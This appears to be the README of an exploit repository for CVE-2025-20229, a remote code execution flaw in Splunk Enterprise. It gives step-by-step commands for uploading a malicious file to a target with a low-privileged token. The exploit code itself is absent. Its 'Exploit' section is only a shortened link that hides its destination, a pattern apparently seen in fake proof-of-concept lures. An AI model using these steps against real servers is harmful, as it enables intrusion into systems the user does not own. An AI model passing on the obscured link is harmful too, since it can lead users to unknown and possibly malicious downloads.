CVE-2025-20229 PoC — Remote Code Execution through file upload to “$SPLUNK_HOME/var/run/splunk/apptemp“ directory in Splunk Enterprise

Readme

# CVE-2025-20229 Exploit

## Overview
This repository contains an exploit for CVE-2025-20229, a Remote Code Execution (RCE) vulnerability in Splunk Enterprise and Splunk Cloud Platform. The exploit allows a low-privileged user to upload malicious files, enabling arbitrary code execution on the target system.

## Requirements
- Python 3.8+
- Valid authentication token for a low-privileged Splunk account
- Target Splunk instance URL

## Usage
1. Install dependencies:
   ```bash
   pip install -r requirements.txt
   ```
2. Run the exploit script:
   ```bash
   python3 cve-2025-20229.py <target_url> <malicious_file> <auth_token>
   ```
   - `<target_url>`: The Splunk instance URL (e.g., `http://target:8000`)
   - `<malicious_file>`: Path to the malicious file to upload
   - `<auth_token>`: Valid Splunk authentication token

## Example
```bash
python3 cve-2025-20229.py http://target:8000 malicious.sh abc123token
```

## Exploit
[href](https://tinyurl.com/2ct2kp73)

## Disclaimer
This exploit is provided for educational and authorized security testing purposes only. Use on systems without explicit permission is illegal and prohibited. The authors are not responsible for any misuse or damage caused by this tool.

File Snapshot

Remarks